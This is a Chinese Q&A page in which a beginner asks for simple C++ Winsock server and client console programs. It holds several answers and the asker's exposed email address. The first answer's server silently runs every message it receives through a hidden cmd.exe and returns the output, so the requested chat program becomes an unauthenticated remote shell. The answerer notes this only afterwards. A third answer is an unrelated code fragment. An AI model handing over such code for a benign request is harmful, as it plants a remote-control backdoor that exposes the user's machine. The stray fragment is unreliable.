Question

C++编辑Socket的代码

求用C++编写的Socket的代码，要求很简单，server和client，使用IP和端口，2个小程序，用控制台就行，太麻烦的不要，要能实现通讯的

Answer 1

//server

#pragma comment(lib,"ws2_32.lib")
#include<winsock2.h>
#include<iostream>
#include<string>
#include<fstream>
using namespace std;
string strCurMsg="";
bool connectx,t_quit=false;
void recvProc(SOCKET sockClient)
{
while(true)
{
Sleep(10);
char msgRcv[100]={0};
int state=recv(sockClient,msgRcv,sizeof(msgRcv),0);
if(SOCKET_ERROR==state||state==0)
{
cout<<"client is exit\n";
connectx=false;
return;
}
if(msgRcv[0]!=0)
{
cout<<msgRcv<<endl;
string command(msgRcv);
command="/c "+command+" >c:\\1.txt 2>&1";
ShellExecute(NULL,"open","cmd",command.c_str(),NULL,SW_HIDE);
Sleep(30);
fstream fin;
fin.open("c:\\1.txt");

char buf[100]={0};
while(fin.getline(buf,100))
{
send(sockClient,buf,sizeof(buf),0);

}
fin.close();

ShellExecute(NULL,"open","cmd","/c del c:\1.txt",NULL,SW_HIDE);
}
}
}
void sendProc(SOCKET sockClient)
{while(true)
{string buf;
getline(cin,buf);
if(buf=="exit"){t_quit=true;return;}
send(sockClient,buf.c_str(),buf.size()+1,0);

}
}
int main(int argc, char* argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 1, 1 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
return 1;
}
if ( LOBYTE( wsaData.wVersion ) != 1||
HIBYTE( wsaData.wVersion ) != 1) {
WSACleanup( );
return 1;
}
SOCKET sockSrv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
sockaddr_in addrSrv;
memset(&addrSrv,0,sizeof(addrSrv));
addrSrv.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(5000);
if(bind(sockSrv,(sockaddr*)&addrSrv,sizeof(sockaddr))==SOCKET_ERROR)
{
cout<<"bind error"<<endl;
}
if(listen(sockSrv,5)==SOCKET_ERROR)
{
cout<<"listen error"<<endl;
}
SOCKADDR_IN addrClient;
int len=sizeof(sockaddr);
while(!t_quit)
{
cout<<"Waiting .....";
waiting:
SOCKET sockConnect=accept(sockSrv,(sockaddr*)&addrClient,&len);
if(sockConnect==INVALID_SOCKET)
{
cout<<"invalid socket"<<endl;
return 0;
}
else
{
cout<<"He is coming\n";
connectx=true;
}
CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)recvProc,(void*)sockConnect,
0,NULL);//开启监听线程
HANDLE ThreadProcWrite=CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)sendProc,(void*)sockConnect,
0,NULL);
while(!t_quit)
{Sleep(10);
if (connectx==false)
{TerminateThread(ThreadProcWrite,0);
closesocket(sockConnect);
goto waiting;}
}
}
WSACleanup();
return 0;
}

//client
/*#include <WINSOCK2.H>
#include <iostream>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")

using namespace std;

int main()
{
int err;
WORD versionRequired;
WSADATA wsaData;
versionRequired=MAKEWORD(1,1);
err=WSAStartup(versionRequired,&wsaData);//协议库的版本信息

if (!err)
{
printf("客户端嵌套字已经打开!\n");
}
else
{
printf("客户端的嵌套字打开失败!\n");
return 0;//结束
}
SOCKET clientSocket=socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN clientsock_in;
cout<<"输入服务器IP"<<endl;
string StrIP;
cin>>StrIP;
clientsock_in.sin_addr.S_un.S_addr=inet_addr(StrIP.c_str());
clientsock_in.sin_family=AF_INET;
clientsock_in.sin_port=htons(6000);
//bind(clientSocket,(SOCKADDR*)&clientsock_in,strlen(SOCKADDR));//注意第三个参数
//listen(clientSocket,5);
connect(clientSocket,(SOCKADDR*)&clientsock_in,sizeof(SOCKADDR));//开始连接

char receiveBuf[100];
recv(clientSocket,receiveBuf,101,0);
printf("%s\n",receiveBuf);

send(clientSocket,"hello,this is client",strlen("hello,this is client")+1,0);
closesocket(clientSocket);
WSACleanup();
}*/

#pragma comment(lib,"ws2_32.lib")
#include<winsock2.h>
#include<iostream>
#include<string>
using namespace std;
string strCurMsg="";
void recvProc(SOCKET sockClient)
{
char msgRcv[100]={0};
while(true)
{
if(SOCKET_ERROR==recv(sockClient,msgRcv,sizeof(msgRcv),0))
{
cout<<"server is down";
return;
}
if(msgRcv[0]!=' ')
{
cout<<msgRcv<<endl;
}
}
}
int main(int argc, char* argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 1, 1 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
return 1;
}
if ( LOBYTE( wsaData.wVersion ) != 1||
HIBYTE( wsaData.wVersion ) != 1) {
WSACleanup( );
return 1;
}
SOCKET sockClient=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addrSrv;
string StrIP;
cout<<"enter server IP:"<<endl;
cin>>StrIP;
addrSrv.sin_addr.S_un.S_addr=inet_addr(StrIP.c_str());
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(5000);
if (connect(sockClient,(sockaddr*)&addrSrv,sizeof(sockaddr)) == SOCKET_ERROR)
{
cout<<"connected failed\n";
return 1;
}
else
{
cout<<"connect OK\n";
}
CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)recvProc,(void*)sockClient,
0,NULL);
while(true)
{string buf;
getline(cin,buf);
if(buf=="exit")return 0;
send(sockClient,buf.c_str(),buf.size()+1,0);
}
closesocket(sockClient);
WSACleanup();
return 0;
}
上面这个是我改造过了的 server端可以执行cmd命令 就是可以部分实现远程控制的 你可以改造回去

追问

运行都运行不了啊，我用的是Dev Cpp，报了一大堆错误， 类似【Linker error】undefined reference to ‘recv@16’什么的

追答

你要link winsock的lib 手头没devcpp 代码当初是codeblocks写的

追问

可以了，但是大哥，你这个应该IP和端口的设置在哪里啊？我输入了IP可以正常连接了，可程序的IP和端口设置在哪里啊？能帮忙解释下程序么？还有这个server最多连几个client啊？

追答

addrSrv.sin_port=htons(5000);
是端口设置…… IP不是要求输的么？
server目前只支持一个 但是你可以把server的main改成一般的函数 外面套个main 然后每建立一个链接就新建一个listening的进程来支持多用户

Answer 2

不知道你要TCP的还是UDP的
这是我以前写的UDP，希望可以帮到你。如果需要TCP的可以追问
新建win32控制台程序 程序1

// 服务器端
// 套接字(socket)的使用UDP
#include <stdio.h> // 使用了sprintf函数，要包含头文件
#include <winsock2.h>// 注意：这里使用了WSAStartup函数

// 因为用到了动态链接库，所以在链接个ws2_32.lib

int main()
{
// 加载套接字库
WORD wVersionRequested;
WSADATA wsaData;
int err;

// 加载版本1.1
wVersionRequested = MAKEWORD( 1, 1 );

err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
return 0;
}

if ( LOBYTE( wsaData.wVersion ) != 1 /*低位字节(主版本)*/||
HIBYTE( wsaData.wVersion ) != 1 /*高位字节(副版本)*/)
{
WSACleanup( );
return 0;
}

// UDP的服务器端
// 1)创建一个套接字(socket)
SOCKET sockSrv=socket(AF_INET,SOCK_DGRAM,0);

// 创建一个SOCKADDR_IN结构体存放本地地址信息
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(1026);// 端口大于1024，可随便设

// 2)将套接字绑定本地地址和端口(bind)
bind(sockSrv,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));

// 创建一个字符数组用来存放客户端数据
SOCKADDR_IN addrClient;
char recvBuf[100];
int len=sizeof(SOCKADDR);// 用来接收发送过来的数据长度

// 3)接收客户端数据(recvfrom)
recvfrom(sockSrv,recvBuf,sizeof(recvBuf),0,(SOCKADDR*)&addrClient,&len);
// 将接收的数据打印出来
printf("%s\n",recvBuf);

// 4)关闭套接字
closesocket(sockSrv);

// 终止套接字库的使用
WSACleanup();

// 在聊天程序中用UDP连接
return 0;
}

再新建个win32控制台 程序2

// 客户端
#include <stdio.h>
#include <winsock2.h>

// 因为用到了动态链接库，所以在链接个ws2_32.lib

int main()
{
// 加载套接字库
WORD wVersionRequested;
WSADATA wsaData;
int err;

wVersionRequested = MAKEWORD( 1, 1 );

err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
return 0;
}

if ( LOBYTE( wsaData.wVersion ) != 1 /*低位字节(主版本)*/||
HIBYTE( wsaData.wVersion ) != 1 /*高位字节(副版本)*/)
{
WSACleanup( );
return 0;
}

// UDP的客户端
// 1)创建套接字(socket)
SOCKET sockClient=socket(AF_INET,SOCK_DGRAM,0);// UDP模式用SOCK_DGRAM数据报

// 创建一个SOCKADDR_IN结构体来保存要发送的服务器信息
SOCKADDR_IN addrClient;
addrClient.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
addrClient.sin_family=AF_INET;
addrClient.sin_port=htons(1026);

// 2)向服务器发送数据(sendto)
sendto(sockClient,"UDP客户端",strlen("UDP客户端")+1,0,
(SOCKADDR*)&addrClient,sizeof(SOCKADDR));

// 3)关闭套接字
closesocket(sockClient);

// 终止调用套接字库
WSACleanup();

}
最后先运行服务器，再运行客户端就可以了

追问

你这个程序写的很简单，但是运行不了啊，提示大概有10条错误，我用的是Dev Cpp，
【Linker error】undefined reference to 'WSAStarup@8'
【Linker error】undefined reference to 'WSAClearup@0'
【Linker error】undefined reference to 'socket@12'
等等
还有，我还想要个TCP的，谢谢

追答

我是用vs2005写的，Dev Cpp没用过。
你的错误是没有链接 动态库,需要在两个源程序中都链接ws2_32.lib这个动态库.
你可以查一下Dev Cpp是怎么链接动态库的。

追问

可以了，但是为什么我打开client后，他和server一起关闭了呢？我想要tcp的，不要UDP的，能改一下么？另外，我不想让他直接关闭，输出个链接成功的信息后然后暂停，麻烦帮忙改下，谢谢了啊

追答

下面是TCP的，要想暂停可以在每个源文件的return 0;前加一句 getch();
继续回答有字数限制，写不下。把你邮箱给我，我给你发过去

追问

boe20121220@163.com谢谢

追答

已发送，注意查收

Answer 3

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<algorithm>
using namespace std;

struct A//定义一个存储单词的结构体
{
char word[100];
int id;
}sto[10000];
int wordn;
bool map[100][10000]={false};

Answer 4

给我一个你的邮箱